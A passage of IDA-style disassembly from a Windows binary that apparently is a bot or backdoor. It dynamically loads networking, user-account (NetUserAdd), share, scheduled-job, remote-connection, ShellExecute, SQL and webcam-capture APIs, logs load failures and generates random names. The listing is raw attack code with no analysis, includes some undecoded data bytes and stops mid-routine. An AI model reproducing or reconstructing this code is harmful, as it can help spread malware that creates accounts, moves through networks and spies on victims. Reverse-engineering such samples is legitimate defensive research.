		cmp	dword_4CB62C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB680, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB63C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB67C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6E8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB634, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB5F8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB668, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6D8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB60C, ebx
		jz	short loc_40A2E8
		cmp	eax, ebx
		jnz	short loc_40A2F2
		jmp	short loc_40A2E8
; ---------------------------------------------------------------------------


loc_40A2DD:				; CODE XREF: sub_409B13+51Fj
		nop
		call	near ptr 2680F9Dh
		mov	dword_4CB738, eax


loc_40A2E8:				; CODE XREF: sub_409B13+6BEj
					; sub_409B13+6CAj ...
		mov	dword_4CB734, 1


loc_40A2F2:				; CODE XREF: sub_409B13+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F7
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB590, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB518, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB61C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB5C8, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB628, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB5EC, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB558, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB550, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB560, eax
		call	esi
		cmp	dword_4CB590, ebx
		mov	ecx, dword_4CB5EC
		mov	dword_4CB688, eax
		jz	short loc_40A3D3
		cmp	dword_4CB518, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB61C, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB5C8, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB628, ebx
		jz	short loc_40A3D3
		cmp	ecx, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB558, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB550, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB560, ebx
		jz	short loc_40A3D3
		cmp	eax, ebx
		jnz	short loc_40A3DD


loc_40A3D3:				; CODE XREF: sub_409B13+87Ej
					; sub_409B13+886j ...
		mov	dword_4CB73C, 1


loc_40A3DD:				; CODE XREF: sub_409B13+8BEj
		cmp	ecx, ebx
		jz	short loc_40A412
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CB604, eax
		jnz	short loc_40A412
		jmp	short loc_40A40C
; ---------------------------------------------------------------------------


loc_40A3F7:				; CODE XREF: sub_409B13+7EAj
		nop
		call	near ptr 2680F9Dh
		mov	dword_4CB740, eax
		mov	dword_4CB73C, 1


loc_40A40C:				; CODE XREF: sub_409B13+8E2j
		mov	dword_4CB604, ebx


loc_40A412:				; CODE XREF: sub_409B13+8CCj
					; sub_409B13+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45C
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB5DC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB70C, eax
		call	esi
		cmp	dword_4CB5DC, ebx
		mov	dword_4CB56C, eax
		jz	short loc_40A467
		cmp	dword_4CB70C, ebx
		jz	short loc_40A467
		cmp	eax, ebx
		jnz	short loc_40A471
		jmp	short loc_40A467
; ---------------------------------------------------------------------------


loc_40A45C:				; CODE XREF: sub_409B13+90Aj
		call	near ptr 2680F9Dh
		nop
		mov	dword_4CB748, eax


loc_40A467:				; CODE XREF: sub_409B13+939j
					; sub_409B13+941j ...
		mov	dword_4CB744, 1


loc_40A471:				; CODE XREF: sub_409B13+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A578
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB548, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB520, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB598, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB5CC, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB6E4, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB580, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB52C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB51C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB5B4, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CB6AC, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB664, eax
		call	esi
		cmp	dword_4CB548, ebx
		mov	dword_4CB588, eax
		jz	short loc_40A583
		cmp	dword_4CB520, ebx
		jz	short loc_40A583
		cmp	dword_4CB598, ebx
		jz	short loc_40A583
		cmp	dword_4CB5CC, ebx
		jz	short loc_40A583
		cmp	dword_4CB6E4, ebx
		jz	short loc_40A583
		cmp	dword_4CB580, ebx
		jz	short loc_40A583
		cmp	dword_4CB52C, ebx
		jz	short loc_40A583
		cmp	dword_4CB51C, ebx
		jz	short loc_40A583
		cmp	dword_4CB5B4, ebx
		jz	short loc_40A583
		cmp	dword_4CB6AC, ebx
		jz	short loc_40A583
		cmp	dword_4CB664, ebx
		jnz	short loc_40A58D
		jmp	short loc_40A583
; ---------------------------------------------------------------------------


loc_40A578:				; CODE XREF: sub_409B13+969j
		nop
		call	near ptr 2680F9Dh
		mov	dword_4CB750, eax


loc_40A583:				; CODE XREF: sub_409B13+A11j
					; sub_409B13+A19j ...
		mov	dword_4CB74C, 1


loc_40A58D:				; CODE XREF: sub_409B13+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C2
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB570, eax
		call	esi
		cmp	dword_4CB570, ebx
		mov	dword_4CB64C, eax
		jz	short loc_40A5CD
		cmp	eax, ebx
		jnz	short loc_40A5D7
		jmp	short loc_40A5CD
; ---------------------------------------------------------------------------


loc_40A5C2:				; CODE XREF: sub_409B13+A85j
		nop
		call	near ptr 2680F9Dh
		mov	dword_4CB758, eax


loc_40A5CD:				; CODE XREF: sub_409B13+AA7j
					; sub_409B13+AADj
		mov	dword_4CB754, 1


loc_40A5D7:				; CODE XREF: sub_409B13+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60C
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CB6D0, eax
		call	esi
		cmp	dword_4CB6D0, ebx
		mov	dword_4CB6CC, eax
		jz	short loc_40A617
		cmp	eax, ebx
		jnz	short loc_40A621
		jmp	short loc_40A617
; ---------------------------------------------------------------------------


loc_40A60C:				; CODE XREF: sub_409B13+ACFj
		nop
		call	near ptr 2680F9Dh
		mov	dword_4CB760, eax


loc_40A617:				; CODE XREF: sub_409B13+AF1j
					; sub_409B13+AF7j
		mov	dword_4CB75C, 1


loc_40A621:				; CODE XREF: sub_409B13+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A680
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB6FC, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB6F4, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CB6BC, eax
		call	esi
		cmp	dword_4CB6FC, ebx
		mov	dword_4CB58C, eax
		jz	short loc_40A68B
		cmp	dword_4CB6F4, ebx
		jz	short loc_40A68B
		cmp	dword_4CB6BC, ebx
		jz	short loc_40A68B
		cmp	eax, ebx
		jnz	short loc_40A695
		jmp	short loc_40A68B
; ---------------------------------------------------------------------------


loc_40A680:				; CODE XREF: sub_409B13+B19j
		nop
		call	near ptr 2680F9Dh
		mov	dword_4CB768, eax


loc_40A68B:				; CODE XREF: sub_409B13+B55j
					; sub_409B13+B5Dj ...
		mov	dword_4CB764, 1


loc_40A695:				; CODE XREF: sub_409B13+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6CA
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB5C0, eax
		call	esi
		cmp	dword_4CB5C0, ebx
		mov	dword_4CB6C8, eax
		jz	short loc_40A6D5
		cmp	eax, ebx
		jnz	short loc_40A6DF
		jmp	short loc_40A6D5
; ---------------------------------------------------------------------------


loc_40A6CA:				; CODE XREF: sub_409B13+B8Dj
		call	near ptr 2680F9Dh
		nop
		mov	dword_4CB770, eax


loc_40A6D5:				; CODE XREF: sub_409B13+BAFj
					; sub_409B13+BB5j
		mov	dword_4CB76C, 1


loc_40A6DF:				; CODE XREF: sub_409B13+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A768
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CB690, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CB6DC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB618, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB5D0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CB670, eax
		call	esi
		cmp	dword_4CB690, ebx
		mov	dword_4CB5E0, eax
		jz	short loc_40A773
		cmp	dword_4CB6DC, ebx
		jz	short loc_40A773
		cmp	dword_4CB618, ebx
		jz	short loc_40A773
		cmp	dword_4CB5D0, ebx
		jz	short loc_40A773
		cmp	dword_4CB670, ebx
		jz	short loc_40A773
		cmp	eax, ebx
		jnz	short loc_40A77D
		jmp	short loc_40A773
; ---------------------------------------------------------------------------


loc_40A768:				; CODE XREF: sub_409B13+BD7j
		nop
		call	near ptr 2680F9Dh
		mov	dword_4CB778, eax


loc_40A773:				; CODE XREF: sub_409B13+C2Dj
					; sub_409B13+C35j ...
		mov	dword_4CB774, 1


loc_40A77D:				; CODE XREF: sub_409B13+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B2
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB5A4, eax
		call	esi
		cmp	dword_4CB5A4, ebx
		mov	dword_4CB684, eax
		jz	short loc_40A7BD
		cmp	eax, ebx
		jnz	short loc_40A7C7
		jmp	short loc_40A7BD
; ---------------------------------------------------------------------------


loc_40A7B2:				; CODE XREF: sub_409B13+C75j
		call	near ptr 2680F9Dh
		nop
		mov	dword_4CB780, eax


loc_40A7BD:				; CODE XREF: sub_409B13+C97j
					; sub_409B13+C9Dj
		mov	dword_4CB77C, 1


loc_40A7C7:				; CODE XREF: sub_409B13+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CF	proc near		; CODE XREF: sub_401ACD+2537p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB714, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A817
		push	dword_4CB718
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A817:				; CODE XREF: sub_40A7CF+1Aj
		cmp	dword_4CB71C, esi
		jz	short loc_40A84B
		push	dword_4CB720
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A84B:				; CODE XREF: sub_40A7CF+4Ej
		cmp	dword_4CB724, esi
		jz	short loc_40A87F
		push	dword_4CB728
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A87F:				; CODE XREF: sub_40A7CF+82j
		cmp	dword_4CB72C, esi
		jz	short loc_40A8B3
		push	dword_4CB730
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A8B3:				; CODE XREF: sub_40A7CF+B6j
		cmp	dword_4CB734, esi
		jz	short loc_40A8E7
		push	dword_4CB738
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A8E7:				; CODE XREF: sub_40A7CF+EAj
		cmp	dword_4CB73C, esi
		jz	short loc_40A91B
		push	dword_4CB740
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A91B:				; CODE XREF: sub_40A7CF+11Ej
		cmp	dword_4CB744, esi
		jz	short loc_40A94F
		push	dword_4CB748
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A94F:				; CODE XREF: sub_40A7CF+152j
		cmp	dword_4CB74C, esi
		jz	short loc_40A983
		push	dword_4CB750
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A983:				; CODE XREF: sub_40A7CF+186j
		cmp	dword_4CB754, esi
		jz	short loc_40A9B7
		push	dword_4CB758
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A9B7:				; CODE XREF: sub_40A7CF+1BAj
		cmp	dword_4CB75C, esi
		jz	short loc_40A9EB
		push	dword_4CB760
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A9EB:				; CODE XREF: sub_40A7CF+1EEj
		cmp	dword_4CB764, esi
		jz	short loc_40AA1F
		push	dword_4CB768
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA1F:				; CODE XREF: sub_40A7CF+222j
		cmp	dword_4CB76C, esi
		jz	short loc_40AA53
		push	dword_4CB770
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA53:				; CODE XREF: sub_40A7CF+256j
		cmp	dword_4CB774, esi
		jz	short loc_40AA87
		push	dword_4CB778
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA87:				; CODE XREF: sub_40A7CF+28Aj
		cmp	dword_4CB77C, esi
		jz	short loc_40AABB
		push	dword_4CB780
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AABB:				; CODE XREF: sub_40A7CF+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42DA28
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE8
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_40AAE8:				; CODE XREF: sub_40A7CF+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAFA	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C96p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB22
		push	[esp+arg_0]
		call	dword_4CB6D8
		test	eax, eax
		jnz	short loc_40AB1B
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AB1B:				; CODE XREF: sub_40AAFA+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB22:				; CODE XREF: sub_40AAFA+Dj
		retn
sub_40AAFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB23	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB570
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB31
		call	ecx

locret_40AB31:				; CODE XREF: sub_40AB23+Aj
		retn
sub_40AB23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB32	proc near		; CODE XREF: sub_401ACD:loc_403F5Ep

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CB6D0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF8
		sub	ecx, 32h
		jz	loc_40ABF1
		sub	ecx, 48h
		jz	short loc_40AB92
		sub	ecx, 6Eh
		jz	short loc_40AB8B


loc_40AB74:				; CODE XREF: sub_40AB32+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42DC3C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD2
; ---------------------------------------------------------------------------


loc_40AB8B:				; CODE XREF: sub_40AB32+40j
		push	offset unk_42DC18
		jmp	short loc_40ABC4
; ---------------------------------------------------------------------------


loc_40AB92:				; CODE XREF: sub_40AB32+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBF
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CB6D0
		cmp	eax, edi
		jz	short loc_40ABF8
		jmp	short loc_40AB74
; ---------------------------------------------------------------------------


loc_40ABBF:				; CODE XREF: sub_40AB32+79j
		push	offset unk_42DBE8


loc_40ABC4:				; CODE XREF: sub_40AB32+5Ej
					; sub_40AB32+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40ABD2:				; CODE XREF: sub_40AB32+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40ABE2:				; CODE XREF: sub_40AB32+C8j
					; sub_40AB32+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ABF1:				; CODE XREF: sub_40AB32+32j
		push	offset unk_42DBB8
		jmp	short loc_40ABC4
; ---------------------------------------------------------------------------


loc_40ABF8:				; CODE XREF: sub_40AB32+29j
					; sub_40AB32+89j
		cmp	[esi], edi
		jbe	short loc_40ABE2
		lea	ebx, [esi+4]


loc_40ABFF:				; CODE XREF: sub_40AB32+DAj
		push	ebx
		call	dword_4CB6CC
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFF
		jmp	short loc_40ABE2
sub_40AB32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC10	proc near		; CODE XREF: sub_401ACD+2248p
					; sub_401ACD+2399p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB5F8
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB784
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC69	proc near		; CODE XREF: sub_412B09+24Cp
					; sub_412B09+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC92
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AC85:				; CODE XREF: sub_40AC69+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC85
		pop	edi
		jmp	short loc_40AC96
; ---------------------------------------------------------------------------


loc_40AC92:				; CODE XREF: sub_40AC69+Aj
		mov	edx, [esp+4+arg_0]


loc_40AC96:				; CODE XREF: sub_40AC69+27j
		test	esi, esi
		pop	esi
		jz	short loc_40ACA0
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40ACA0:				; CODE XREF: sub_40AC69+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC69	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB6	proc near		; CODE XREF: sub_40B08E+49p
					; DATA XREF: ___:off_42DC88o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	near ptr 2690E09h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42DCF0[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1E


loc_40ACF8:				; CODE XREF: sub_40ACB6+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB60
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF8


loc_40AD1E:				; CODE XREF: sub_40ACB6+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB6	endp

; ---------------------------------------------------------------------------
		db 56h
		dd 0DEE89057h, 50022860h, 10BA7E8h, 247C8B00h, 2404C710h
		dd 42913Ch, 42D01468h, 571C6A00h, 10C37E8h, 83F63300h
		dd 353910C4h, 429098h, 87E8267Eh, 6A00010Bh, 0F759990Ah
		dd 685752F9h, 42BB60h, 0E8571C6Ah, 10C10h, 4614C483h, 9098353Bh
		dd 0DA7C0042h, 5E5FC78Bh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD81	proc near		; CODE XREF: sub_401ACD+69CDp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	near ptr 2690E09h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC4


loc_40ADAE:				; CODE XREF: sub_40AD81+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAE


loc_40ADC4:				; CODE XREF: sub_40AD81+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD81	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	near ptr 2690E09h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431948
		push	eax
		push	esi
		nop
		call	near ptr 26C0000h
		movsx	eax, byte_431948
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AE0A:				; CODE XREF: ___:0040AE15j
